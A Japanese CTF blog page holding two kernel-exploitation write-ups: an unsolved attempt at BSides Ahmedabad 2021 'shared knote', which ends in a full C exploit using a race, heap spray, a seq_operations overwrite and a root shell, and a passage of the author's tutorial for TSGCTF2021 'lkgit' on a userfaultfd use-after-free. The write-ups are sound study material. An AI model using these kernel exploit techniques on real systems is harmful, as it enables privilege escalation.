newbieからバイナリアンへ

newbie dive into binary

昨日は海を見に行きました

【pwn 55.0】shared knote - BSides Ahmedabad 2021 : 観戦記(unsolve)

keywords

kernel exploit / race / f_pos / seq_operations / zero-addr mapping / VDSO search

 

1: イントロ

いつぞや開催された BSidesCTF 2021 。そのkernel問題 shared knote 。解けなかったけど少し触ったので途中までの状況を供養しとく。だって触ったのに、なんも書かないし解けもしないの、悲しいじゃん????

なお、公式から既に完全なwriteupが出ている。zer0pts主催のCTF、一瞬で公式writeupがでていてすごい。すごい一方で、早すぎる公式完全writeupはコミュニティwriteupが出るのを妨げる気もしているので、個人的には1日くらいは方針だけちょい出しして、1日後くらいに完全版を出してほしいという気持ちも無きにしもあらず。

アディスアベバ

 

2: static

static.sh
Linux version 5.14.3 (ptr@medium-pwn) (x86_64-buildroot-linux-uclibc-gcc.br_real (Buildroot 2021.08-804-g03034691


#!/bin/sh
timeout --foreground 300 qemu-system-x86_64 \
        -m 64M -smp 2 -nographic -no-reboot \
        -kernel bzImage \
        -initrd rootfs.cpio \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
        -cpu kvm64 -monitor /dev/null \
        -net nic,model=virtio -net user
        
static struct file_operations module_fops =
  {
   .owner   = THIS_MODULE,
   .llseek  = module_llseek,
   .read    = module_read,
   .write   = module_write,
   .open    = module_open,
   .release = module_close,
  };

 

一般的なキャラクデバイスドライバが実装されている。ドライバ全体で一つのノートを共有する感じになっている。ノートはrefcntで管理されており、open/closeで増減される。

 

 

3: 怪しいと思ったとこ

ココ(critical regionがとられてない)と、

module_open.c
static int module_open(struct inode *inode, struct file *file)
{
  unsigned long old = __atomic_fetch_add(&sknote.refcnt, 1, __ATOMIC_SEQ_CST);
  if (old == 0) {

    /* First one to open the note */
    if (!(sknote.noteptr = kzalloc(sizeof(note_t), GFP_KERNEL)))
      return -ENOMEM;
    if (!(sknote.noteptr->data = kzalloc(MAX_NOTE_SIZE, GFP_KERNEL)))
      return -ENOMEM;

  } else if (old >= 0xff) {

    /* Too many references */
    __atomic_sub_fetch(&sknote.refcnt, 1, __ATOMIC_SEQ_CST);
    return -EBUSY;

  }

  return 0;
}

 

ココ。

module_write.c
static ssize_t module_write(struct file *file,
                            const char __user *buf, size_t count,
                            loff_t *f_pos)
{
  note_t *note;
  ssize_t ecount;

  note = (note_t*)sknote.noteptr;

  // XXX
  /* Security checks to prevent out-of-bounds write */
  if (count < 0)
    return -EINVAL; // Invalid count
  if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
    return -EINVAL; // Too big count
  if (ecount > MAX_NOTE_SIZE)
    count = MAX_NOTE_SIZE - file->f_pos; // Update count

  /* Copy data from user-land */
  if (copy_from_user(&note->data[file->f_pos], buf, count))
    return -EFAULT; // Invalid user pointer

  /* Update current position and length */
  *f_pos += count;
  if (*f_pos > note->length)
    note->length = *f_pos;

  return count;
}

 

前者は、refcntはロックとられてるのに関数内にcritical regionがとられていないためレースが起きそう。そして、これが実際に想定解だったっぽい。closeは以下のようになっていて、free後はNULLが入る。

module_close.c
static int module_close(struct inode *inode, struct file *file)
{
  // XXX
  if (__atomic_add_fetch(&sknote.refcnt, -1, __ATOMIC_SEQ_CST) == 0) {
    /* We can free the note as nobody references it */
    kfree(sknote.noteptr->data);
    kfree(sknote.noteptr);
    sknote.noteptr = NULL;
  }

  return 0;
}

本番ではNULL入るか〜〜、あちゃ〜〜〜と言ってシカトしていたが、なんか今回のkernelはaddress0にuserlandがマップすることが出来たらしく、NULLをいれる==userlandを指させるということが出来たらしい。前も見たことある気がするけど、いざ本番で見ると、気づかないもんですね。取り敢えず本番はこっちはシカトしました。

 

 

4: vuln: race of lseek/write (invalid f_pos use)

 

先程のwriteを見ると分かる通り、モジュール内でf_posfile->f_posの両方を使ってしまっている。そもそも、writeの呼び出し時にはksys_write()file->f_posをスタックに積んでおり、そのスタックのアドレスをwriteの第3引数f_posとして渡している。writeの呼び出し後にこのスタックの値を確認して、初めてfile->f_posに書き戻すことになる。そして、モジュール内でfile->f_posは触ってはいけない(少なくとも僕はこの認識でいる)。唯一の例外がllseekであり、この中では直接file->f_posをいじることができる。

 

read_write.c
ssize_t ksys_write(unsigned int fd, const char __user *buf, size_t count)
{
	struct fd f = fdget_pos(fd);
	ssize_t ret = -EBADF;

	if (f.file) {
		loff_t pos, *ppos = file_ppos(f.file);
		if (ppos) {
			pos = *ppos;
			ppos = &pos;
		}
		ret = vfs_write(f.file, buf, count, ppos);
		if (ret >= 0 && ppos)
			f.file->f_pos = pos;
		fdput_pos(f);
	}

	return ret;
}

 

 

さて、先程のwriteを見ると、前半でfile->f_posを、後半でf_posを使っている。

module_write.c
  note = (note_t*)sknote.noteptr;

  // XXX
  /* Security checks to prevent out-of-bounds write */
  if (count < 0)
    return -EINVAL; // Invalid count
  if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
    return -EINVAL; // Too big count
  if (ecount > MAX_NOTE_SIZE)
    count = MAX_NOTE_SIZE - file->f_pos; // Update count

  /* Copy data from user-land */
  if (copy_from_user(&note->data[file->f_pos], buf, count)) 
    return -EFAULT; // Invalid user pointer

  /* Update current position and length */
  *f_pos += count;
  if (*f_pos > note->length)
    note->length = *f_pos;

 

ここで、以下のようにすることでraceを起こしてnote->lengthMAX_NOTE_SIZEよりも任意に大きくすることが出来る。

 

Thread A:

- llseek(0, END)

- write(MAX_NOTE_SIZE)

 

Thread B:

- llseek(0, CUR)

 

上手いことllseek(END, 0) -> write呼び出し -> llseek(SET, 0) -> write前半のチェックという流れになれば、writeの第3引数をMAX_NOTE_SIZEにしたままwriteの諸々のチェックをパスしてノートサイズを増やすことが出来る。

 

これでOOB(read)の完成。

 

 

5: kbase leak

 

ノートサイズは0x400であり、あんま良い感じの構造体はただでは隣接しなさそう。ということで、seq_operationsが入る0x20スラブと0x400スラブを大量に確保して枯渇させ、新たにページを確保させて隣接させる。

 

spray.c
  // heap spray
  puts("[.] heap spraying...");
  for (int jx = 0; jx != 0x100; ++jx) {
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1)
    {
      errExit("msgget");
    }
    struct _msgbuf400 msgbuf = {.mtype = 1};
    memset(msgbuf.mtext, 'A', 0x400);
    KMALLOC(qid, msgbuf, 0x10);
  }
  puts("[.] END heap spraying");

  // init
  if ((fd = open(DEV_PATH, O_RDWR)) < 0)
  {
    errExit("open");
  }
  puts("[.] opened dev file.");

  // alloc seq_operations next to NOTE
  puts("[.] seq spraying...");
  #define SEQSIZE 0x300
  int seq_fds[SEQSIZE];
  for (int ix = 0; ix != SEQSIZE; ++ix)
  {
    if((seq_fds[ix] = open("/proc/self/stat", O_RDONLY)) == -1) {
      errExit("open seq");
    }
  }
  puts("[.] END seq spraying...");

 

これで、先程のOOB(read)をすると、厳密には完全に隣接こそしていないもののseq_operationsのスラブを探し出すことができ、kbaseがleakできる。

 

6: OOB write

 

RIPを取るためにseq_operationsを書き換えたい。すんなり行くかと思えば、write内の以下のせいでめっちゃめんどくさくなった。

 

mendoi.c
  if (__builtin_saddl_overflow(file->f_pos, count, &ecount))
    return -EINVAL; // Too big count
  if (ecount > MAX_NOTE_SIZE)
    count = MAX_NOTE_SIZE - file->f_pos; // Update count

 

これのせいで、f_posが大きいとcountがhogeる。よってこれを回避するためにまたraceをした。このチェックだけパスするようにllseekを噛ませたが、readのraceが秒で終わったのに対し、こちらは10秒待っても終わるときと終わらないときがあって、しかも書き換えたあとの値が意味分からん値になっていた。

 

詰みました。

 

 

7: 戦いの果て

 

一応この後も考えたけど、SMEP/SMAPなしならshellcodeいれて終わりじゃ〜んと思ってうきうきでいたら、KPTI有効なのを忘れていた。ROPすればなんとかなってたのかなぁと思いつつも、OOB(write)がうまく言っていなかったこともあり、ここで断念した。

 

 

 

8: 想定解

 

上に述べた、freeの際にNULLをいれるのだが、今回のkernelは0アドレスにuserlandがmmapできる設定だったらしく、NULLを入れる==userlandを指させるという意味に出来たらしい。SMAP無効だし。

これで簡単にポインタを書き換えてAAW/AAR。KASLR-bypassのためにめっちゃ探索してVDSOを探す。この探索は、copy_from_userがメモリチェックで不正を検出した場合はクラッシュとかではなく単純にエラーを返してくれるので出来ること。偉い。あとは単純にmodprobe_path

偉いね。

 

 

 

9: exploit (to kbase leak + insufficient write)

 

一応貼っておこ。後で完全版出すかも知れないし、公式のが完全なので出さないかも知れない。

f:id:smallkirby:20211107140243p:plain



 

exploit.c
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <linux/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>

// commands
#define DEV_PATH "/dev/sknote" // the path the device is placed
#define MAX_NOTE_SIZE 0x400

// constants
#define PAGE 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)

// utils
#define WAIT getc(stdin);
#define ulong unsigned long
#define scu static const unsigned long
#define NULL (void *)0
#define errExit(msg)    \
  do                    \
  {                     \
    perror(msg);        \
    exit(EXIT_FAILURE); \
  } while (0)
#define KMALLOC(qid, msgbuf, N)   \
  for (int ix = 0; ix != N; ++ix) \
  {                               \
    if (msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
    errExit("KMALLOC"); \
  }
ulong user_cs, user_ss, user_sp, user_rflags;
struct pt_regs
{
  ulong r15;
  ulong r14;
  ulong r13;
  ulong r12;
  ulong bp;
  ulong bx;
  ulong r11;
  ulong r10;
  ulong r9;
  ulong r8;
  ulong ax;
  ulong cx;
  ulong dx;
  ulong si;
  ulong di;
  ulong orig_ax;
  ulong ip;
  ulong cs;
  ulong flags;
  ulong sp;
  ulong ss;
};
void print_regs(struct pt_regs *regs)
{
  printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
  printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
  printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
  printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
  printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
}
void NIRUGIRI(void)
{
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  execve("/bin/sh", argv, envp);
}
// should compile with -masm=intel
static void save_state(void)
{
  asm(
      "movq %0, %%cs\n"
      "movq %1, %%ss\n"
      "movq %2, %%rsp\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
      :
      : "memory");
}

unsigned long (*rooter_pkc)(unsigned long) = 0;
unsigned long (*rooter_commit_creds)(unsigned long) = 0;

int shellcode_is_called = 0;

static void shellcode(void)
{
  //asm(
  //    "xor rdi, rdi\n"
  //    "mov rbx, QWORD PTR [rsp+0x50]\n"
  //    "sub rbx, 0x244566\n"
  //    "mov rcx, rbx\n"
  //    "call rcx\n"
  //    "mov rdi, rax\n"
  //    "sub rbx, 0x470\n"
  //    "call rbx\n"
  //    "add rsp, 0x20\n"
  //    "pop rbx\n"
  //    "pop r12\n"
  //    "pop r13\n"
  //    "pop r14\n"
  //    "pop r15\n"
  //    "pop rbp\n"
  //    "ret\n");
  //save_state();

  //shellcode_is_called = 1;
  //rooter_commit_creds(rooter_pkc(0));
}
// (END utils)

// globals
const unsigned PSIZE = 10;
int fd = 0;
const ulong ADDRBASE = 0x10000;
int write_permission = 0;
long target_offset = 0;
typedef struct
{
  int whoami;
  long uffd;
} thrinfo;
char EMPTYNOTE[PAGE];
// (END globals)

ulong sk_seek_abs(unsigned abs)
{
  assert(fd != 0);
  ulong hoge = lseek(fd, abs, SEEK_SET);
  if (hoge == -1)
  {
    errExit("lseek");
  }
  return hoge;
}

void sk_seek_zero(void)
{
  sk_seek_abs(0);
}

ulong sk_seek_end(void)
{
  assert(fd != 0);
  return lseek(fd, 0, SEEK_END);
}

int SHOULDEND = 0;

#define REPEAT 80

static void *writer(void *arg)
{
  //int whoami = *(int*)arg;
  //printf("[.] writer inited: %d\n", whoami);

  assert(fd != 0);
  ulong cur;
  char buf[PAGE] = {0};
  ulong old = MAX_NOTE_SIZE;
  while (1 == 1)
  {
    cur = sk_seek_end();
    if(cur != old) {
      printf("[+] extended to 0x%lx : %lx\n", cur, cur / MAX_NOTE_SIZE);
      old = cur;
    }
    if (cur > MAX_NOTE_SIZE * REPEAT)
    {
      printf("[SEEK_END] %lx\n", cur);
      puts("!!!!!!!!!!!!!!!!!!!!!!!!!!");
      SHOULDEND = 1;
      return 0;
    }
    int ret = write(fd, buf, MAX_NOTE_SIZE);
  }
  printf("[.] writer finished\n");
}

static void *zeroer(void *arg)
{
  assert(fd != 0);
  while (SHOULDEND == 0)
  {
    sk_seek_zero();
  }
  return 0;
}

static void *targeter(void *arg) {
  while (SHOULDEND == 0) {
    sk_seek_abs(target_offset);
  }
  printf("[.] targeter finished\n");
}

static void *writer2(void *arg) {
  ulong cur;
  ulong value = ((ulong)shellcode) + 4;
  ulong written_value[4] = {value, value, value, value};
  ulong old = MAX_NOTE_SIZE;
  while (SHOULDEND == 0)
  {
    sk_seek_zero();
    int ret = write(fd, written_value, 8 * 4);
  }
  printf("[.] writer2 finished\n");
}

void print_curious(char *buf, size_t size)
{
  for (int ix = 0; ix != size / 8; ++ix)
  {
    long hoge = *((ulong *)buf + ix);
    if (hoge != 0)
    {
      printf("[+%x] %lx\n", ix * 8, hoge);
    }
  }
}

unsigned long find_signature(char *buf, size_t size) {
  unsigned signatures[4] = {0xa0, 0xc0, 0xb0, 0x20};
  int step = 0;
  for (int ix = 0; ix != size / 8; ++ix)
  {
    long hoge = *((ulong *)buf + ix);
    if((hoge&0xFF) == signatures[step]) {
      ++step;
    } else {
      step = 0;
    }
    if(step == 4) {
      return (ix - 3) * 8;
    }
  }
  return 0;
}

struct _msgbuf400
{
  long mtype;
  char mtext[0x400];
};

int main(int argc, char *argv[])
{
  printf("[.] shellcode @ %p\n", shellcode);
  pthread_t writer_thr, zeroer_thr;
  memset(EMPTYNOTE, 'A', MAX_NOTE_SIZE * 2);

  // heap spray
  puts("[.] heap spraying...");
  for (int jx = 0; jx != 0x100; ++jx) {
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qid == -1)
    {
      errExit("msgget");
    }
    struct _msgbuf400 msgbuf = {.mtype = 1};
    memset(msgbuf.mtext, 'A', 0x400);
    KMALLOC(qid, msgbuf, 0x10);
  }
  puts("[.] END heap spraying");

  // init
  if ((fd = open(DEV_PATH, O_RDWR)) < 0)
  {
    errExit("open");
  }
  puts("[.] opened dev file.");

  // alloc seq_operations next to NOTE
  puts("[.] seq spraying...");
  #define SEQSIZE 0x300
  int seq_fds[SEQSIZE];
  for (int ix = 0; ix != SEQSIZE; ++ix)
  {
    if((seq_fds[ix] = open("/proc/self/stat", O_RDONLY)) == -1) {
      errExit("open seq");
    }
  }
  puts("[.] END seq spraying...");

  // first write
  puts("[.] first write");
  assert(write(fd, EMPTYNOTE, MAX_NOTE_SIZE) != -1);

  // init threads
  puts("[.] writer thread initing...");
  assert(pthread_create(&writer_thr, NULL, writer, (void *)0) == 0);
  puts("[.] zeroer thread initing...");
  assert(pthread_create(&zeroer_thr, NULL, zeroer, (void *)0) == 0);

  pthread_join(writer_thr, NULL);

  // leek
  sleep(1);
  char buf[REPEAT * PAGE] = {0};
  sk_seek_zero();
  if (read(fd, buf, REPEAT * MAX_NOTE_SIZE) == -1)
  {
    errExit("read");
  }

  //print_curious(buf, REPEAT * MAX_NOTE_SIZE);
  target_offset = find_signature(buf, REPEAT * MAX_NOTE_SIZE);
  if (target_offset == 0) {
    errExit("target not found...");
  }
  printf("[!] target found @ offset 0x%lx\n", target_offset);
  print_curious(buf + target_offset, 8 * 8);

  ulong single_start = *(ulong *)(buf + target_offset);
  ulong kernbase = single_start - 0x16e1a0;
  ulong pkc = (0xffffffff810709f0 - 0xffffffff81000000) + kernbase;
  ulong commit_creds = (0xffffffff81070860 - 0xffffffff81000000) + kernbase;
  printf("[!] single_start: 0x%lx\n", single_start);
  printf("[!] kernbase: 0x%lx\n", kernbase);
  printf("[!] pkc: 0x%lx\n", pkc);
  printf("[!] commit_creds: 0x%lx\n", commit_creds);

  rooter_pkc = pkc;
  rooter_commit_creds = commit_creds;

  // overwrite
  printf("[+] overwrite as %lx\n", shellcode);
  ulong value = (ulong)shellcode;
  SHOULDEND = 0;

  puts("[.] writer thread initing...");
  assert(pthread_create(&writer_thr, NULL, writer2, (void *)0) == 0);
  puts("[.] targeter thread initing...");
  assert(pthread_create(&zeroer_thr, NULL, targeter, (void *)0) == 0);
  puts("[...] waiting lack...");
  sleep(3);
  SHOULDEND = 1;

  sk_seek_abs(target_offset);
  long nowvictim = 0;
  assert(read(fd, &nowvictim, 8) != -1);
  if(nowvictim == single_start) {
    printf("[-] failed to overwrite...\n");
    errExit(0);
  } else {
    printf("[!!] overwrite success!! : 0x%lx\n", nowvictim);
  }

  //print_curious(buf, MAX_NOTE_SIZE * REPEAT);


  //ulong cur = sk_seek_abs(target_offset);
  //printf("[+] cur: %lx\n", cur);
  //for (int ix = 0; ix != 4; ++ix)
  //{
  //  if(write(fd, &value, 8) == -1) {
  //    puts("fail");
  //    WAIT;
  //    errExit("write");
  //  }
  //}

  // invoke shellcode
  puts("[.] reading seqs");
  char hoge[0x10];
  for (int ix = 0; ix != SEQSIZE; ++ix)
  {
    if(read(seq_fds[ix], hoge, 1) == -1) {
      errExit("seq read");
    }
  }

  if(shellcode_is_called == 0) {
    errExit("shellcode is not called");
  }

  puts("[+] executing NIRUGIRI...");
  NIRUGIRI();

  // end of life
  puts("[ ] END exploit.");

  return 0;
}

 

 

10: アウトロ

 

犬飼いたいんですが、大学生で犬買うの、金銭面的にと言うか、時間的にきつそうですよね。。。

 

 

 

11: 参考

1: 公式writeup

https://hackmd.io/@ptr-yudai/BkO-gQEDt

2: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

 

続く...

 

 

【pwn 54.12】lkgit (kernel exploit) TSGCTF2021: author's & community writeups

 

f:id:smallkirby:20211003170041p:plain


Also please refer to here:
https://hackmd.io/pcgHqeRETkC2KsOS_n3htQ

 

1: イントロ

いつかは忘れましたが、 TSGCTF2021 が開催されました。今年もFlatt Securityさんにスポンサーをしていただき開催することができました。ありがとうございます。

今年は院試なりで人生が崩壊していて作問する予定はなく、mora a.k.a パン人間さんが全pwnを作問するかと思われましたが、作問してない&&参加できないCTFを見守るのはつまらないため、1問作りました。

作ったのはpwnのkernel問題 lkgit で、想定難易度medium、最終得点322pts、最終solve数7(zer0pts/./Vespiary/hxp/Tokyowesterns/Super Guesser/L00P3R/DSGS4T)、first-bloodはzer0pts(公開後約2h)となりました。TSGは難易度想定及び告知の仕方を間違えているという意見をたまに聞きますが、ぼくもそう思います。しかしpwn勢に限ってはどのチームでも例外なく、皆一概に良心であり、性格が良く、朝は早く起き、一汁三菜を基本とした健全な食生活を送り、日々運動を欠かさない、とても素晴らしい人々である事であることが知られています(対極を成すのがcrypto勢です。すいません、嘘です。cryptoも良い魔法使いばかりです)。よって、この問題も作問方針やレビューを受けて適切に難易度づけしました。

作問方針は、「kernel問題でeasyな問題があってもいいじゃないか。但し全部コピペはダメだよ!ほんの少しパズル要素があって、でもストレスフルで冗長なのは嫌!」です。一般にpwnのuserlandのbeginner問はオーバーフローなりOOBなりが出題されますが、それと同程度とまでは行かずとも典型的で解きやすい問題を設定しました。かといって、コピペはだめなので要点要点で自分でちゃんと考える必要のある問題にしたつもりです。kernel問の中ではかなりeasyな部類で、まぁkernel特有の面倒臭さを若干考慮してmediumにしました。

おそらくcHeapcoffeeは解いたけど、配布ファイルの中にbzImageを見つけてそっとパソコンをそっと閉じた人もいるかもしれませんが、本エントリはlkgitを題材にしたkernel exploit入門的な感じでできる限り丁寧に書こうと思うので、是非手元で試しつつ実際にexploitを動かしてみてください。そしてつよつよになって僕にpwnを教えてください。お願いします。

また、一般にwriteupを書くのは偉いことであり、自分の問題のwriteupを見るのは楽しい事であることが知られているため、他の人が書いたwriteupも最後に載せています。

あと、Surveyは競技終了後の今でも(というか、なんなら1週間後、1ヶ月後、1年後)解答自体は出来るし、繰り返し送信することも可能なので、解き直してみて思ったことでも、この問題のココが嫌いだとかでも、秋田犬が好きだでも何でも良いので、送ってもらえるとチーム全員で泣いて喜んで泣いて反省して来年のTSGCTFが少しだけ良いものになります。

 

 

2: 配布ファイル

さて、配布されたlkgit.tar.gzを展開すると、lkgitというディレクトリが出てきて、そのディレクトリには再度lkgit.tar.gzが入っています。ごめんなさい。kernel問の作問時にはMakefileでtar.gzまで一気に作るのですが、TSGCTFの問題はほぼ全てCTFdへの登録の際に初めてtar.gzするという慣習があるため、2回圧縮してしまいました。勿論配布後に確認したのですが、tarを開いてtarが出てきた時、自分の記憶が一瞬飛んだのかと思ってスルーしてしまいました。まぁ非本質です。

f:id:smallkirby:20211003170317p:plain

 

配布ファイルはこんな感じです。

dist.sh
.
├── bzImage:             kernel image本体. 
    (./bzImage: Linux kernel x86 boot executable bzImage, version 5.10.25 (hack@ash) #1 Fri Oct 1 20:11:36 JST 2021, RO-rootFS, swap_dev 0x3, Normal VGA)
├── rootfs.cpio:         root filesystem
├── run.sh:              QEMUの起動スクリプト
└── src:                 ソースコード達
    ├── client
    │   └── client.c:    clientプログラム。読まなくてもOK.
    ├── include:         kernel/client共通ヘッダファイル
    │   └── lkgit.h
    └── kernel:          LKMソースコード
        └── lkgit.c

因みに、カーネルのビルドホストがちゃんといじられていない場合authorの名前が分かってRECON出来る可能性があります。今回は hack@ash にしました。

rootfs.cpiobzImageの展開・圧縮の仕方等は以下を参考にしてみてください。

https://github.com/smallkirby/snippet/blob/master/exploit/kernel/extract.sh

https://github.com/smallkirby/snippet/blob/master/exploit/kernel/extract-vmlinux.sh

https://github.com/smallkirby/snippet/blob/master/exploit/kernel/mr.sh

 

以下のスクリプトを使って起動すると、なんかいい感じにファイルシステムを展開したり圧縮したりしてQEMUを立ち上げてくれるので、中身を書き換えたいときには便利です。

mr.sh
#!/bin/bash

filesystem="rootfs.cpio"
extracted="./extracted"

extract_filesystem() {
  mkdir $extracted 
  cd $extracted 
  cpio -idv < "../$filesystem"
  cd ../
}

# extract filesystem if not exists
! [ -d "./extracted" ] && extract_filesystem

# compress
rm $filesystem 
chmod 777 -R $extracted
cd $extracted
find ./ -print0 | cpio --owner root --null -o -H newc > ../rootfs.cpio
cd ../

# run
sh ./run.sh

 

起動してみると、サンプルとなるクライアントプログラムが置いてあります。このクライアントプログラムは、ソースコードに書いてあるとおりexploitに実際は必要がありませんが、モジュールの大まかな意図した動作を把握させる他、exploitにそのまま使えるutility関数を提供する目的で添付しました。クライアントプログラム(そしてそのままLKM自体)の大まかな機能は以下の通りで、ファイルのハッシュ値の取得、及びハッシュ値からlogをたどったりlogを修正することができます。

f:id:smallkirby:20211003170401p:plain

 

3: let's debug

さてさてデバッグですが、run.sh-sオプションをつけることでQEMUGDB serverを建ててくれるため、あとはGDB側からattachするだけです。但し、僕の環境ではkernelのデバッグpwndbgを使うとステップ実行に異常時間を食うため、いつもバニラを使っています。以下の.gdbinitを参考にして心地よい環境を作ってみてください。

https://github.com/smallkirby/dotfiles/blob/master/gdb/.gdbinit

 

但し、シンボル情報はないためrootでログインして/proc/kallsymsからシンボルを読んでデバッグしてください。この際、run.shinitに以下のような変更をすると良いです。

diff.diff
# init
34,35c34,35
< echo 2 > /proc/sys/kernel/kptr_restrict
< echo 1 > /proc/sys/kernel/dmesg_restrict
---
> echo 0 > /proc/sys/kernel/kptr_restrict
> echo 0 > /proc/sys/kernel/dmesg_restrict
43c43,44
< setsid cttyhack setuidgid user sh
---
> #setsid cttyhack setuidgid user sh
> setsid cttyhack setuidgid root sh

# run.sh
7c7
<   -append "console=ttyS0 oops=panic panic=1 quiet" \
---
>   -append "console=ttyS0 panic=1" \
8a9
>   -s \

 

4: Vuln: race condition

さて、今回の脆弱性は明らかでrace-conditionが存在します。kernel問題では、copy_from_user()copy_to_user()関数等でユーザランドとデータのやり取りを行う前に、ユーザランドのメモリに対してuserfaultfdというシスコールで監視を行うことで、登録したユーザランドのハンドラをフォルト時に呼ばせることができます。mmapで確保したページは、最初はzero-pageに無条件でマップされているため、初めてのwrite-accessが発生した場合にフォルトが起きます(あと最近のuserfaultfdではwrite-protectedなページに対するハンドラを設定することも可能になっています)。このへんのテクニックの原理・詳細については以下のリポジトリに置いているため気になる人は見てみてください。

https://github.com/smallkirby/kernelpwn/blob/master/technique/userfualtfd.md

 

さて、本問題においてはlkgit_get_object()関数でコミットオブジェクトを取得する際に、kernellandからuserlandへのコピーが複数回発生します。よって、ここでフォルトを起こしてkernel threadの処理を停止し、ユーザランドに処理を移すことができます。

lkgit.c
static long lkgit_get_object(log_object *req) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char hash_other[HASH_SIZE] = {0};
	char hash[HASH_SIZE];
	int target_ix;
	hash_object *target;
	if (copy_from_user(hash, req->hash, HASH_SIZE)) // ...1
		goto end;

	if ((target_ix = find_by_hash(hash)) != -1) {
		target = objects[target_ix];      ...★1
		if (copy_to_user(req->content, target->content, FILE_MAXSZ)) // ...2
			goto end;

		// validity check of hash
		get_hash(target->content, hash_other);
		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
			goto end;

		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // ...3
			goto end;
		if (copy_to_user(req->hash, target->hash, HASH_SIZE))  // ...4
			goto end;
		ret = 0;
	}

end:
	return ret;
}

 

それとは別に、新しくcommitオブジェクトを作るlkgit_hash_object()において、hash値が衝突すると古い方のオブジェクトがkfree()されるようになっています。まぁ、hashの衝突と言っても同じファイル(文字列)を渡せばいいだけなのでなんてことはありません。本当はほんもののgitっぽくSHA-1使って、commitオブジェクトとtreeオブジェクトとか分けて・・・とか考えていたんですが、ソースコードが異常量になったので辞めました。あくまで今回のテーマは、おおよそ典型的だが要所で自分で考えなくてはいけないストレスフリーな問題なので。

lkgit.c
static long save_object(hash_object *obj) {
	int ix;
	int dup_ix;
	// first, find conflict of hash
	if((dup_ix = find_by_hash(obj->hash)) != -1) {
		kfree(objects[dup_ix]);
		objects[dup_ix] = NULL;
	}
	// assign object
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] == NULL) {
			objects[ix] = obj;
			return 0;
		}
	}
	return -LKGIT_ERR_UNKNOWN;
}

 

さて、kfreeとレースが組み合わさった時kUAFをまず考えます。get関数で処理を止めている間に処理を止めて、フォルトハンドラの中でhash値が重複するオブジェクトを作成すると、そのオブジェクトが削除されます。しかし、このオブジェクトのアドレスは★1でスタックに積まれているため、その状態でgetをresumeさせると、kfree()されたアドレスを使い続けることになりkUAFが成立します。

 

 

5: uffd using structure on the edge of two-pages

kUAFが出来たので、この構造体と同じサイズを持つkernelland構造体を新たに確保してkfreeされたオブジェクトの上に乗っけましょう。

lkgit.h
typedef struct {
  char hash[HASH_SIZE];
  char *content;
  char *message;
} hash_object;

構造体のサイズは0x20なのでseq_operationsが使えますね。いい加減これを使うのも飽きたので他の構造体を使ってSMEP/SMAPを回避させても良かったんですが、めんどくさくなるだけっぽかったのでseq_operations + modprobe_pathで行けるようにしました。seq_operationsの確保の仕方はこのへんを参考にしてください。また、uffdを使ったexploitのテンプレについては以下を参考にしてください。

https://github.com/smallkirby/snippet/blob/master/exploit/kernel/userfaultfd-exploit.c

 

但し、上の通りにやっても恐らくleakには失敗すると思います。ここがkernel問題に慣れている人にとって多分唯一の一瞬だけ立ち止まる場所だと思います。get関数を見返してみると、userlandへアクセスを行う箇所が4箇所有ることが分かると思います。問題はどこでフォルトを起こして処理を止めるとleakができるかです。

1. 取得するlogのhash値自体の取得。この時点では対象オブジェクトの特定自体ができていないため、止めても意味がありません。

2. contentのコピー。ここで止めた場合、seq_operationsがコミットオブジェクトの上にかぶさるため、その値はunknownになります。よって、直後に有る謎のvalidity_check()でひっかかって処理が終わってしまいます。よってここで止めるのもなしです。

3. ココで止めた場合、直後にvalidity checkもなく、続くcopyでhashからシンボルをleakできるので嬉しいです。

4. ココで止めても、コレ以降コピーがないためleakはできません。

 

よって、唯一の選択肢は3のmessageのコピーで止めることで、逆を言えばコレ以外で止めてはいけません。しかし、普通にユーザランドmmapしたページに何も考えず構造体をおくと、1の時点でフォルトが起きてしまい、うまくleakすることができません

さて、どうしましょう。といっても、恐らく答えは簡単に思いついて、 構造体を2ページにまたがるように配置し、片方のページにだけフォルトの監視をつければOK です。

f:id:smallkirby:20211003171538j:plain

 

6: AAW and modprobe_path overwrite

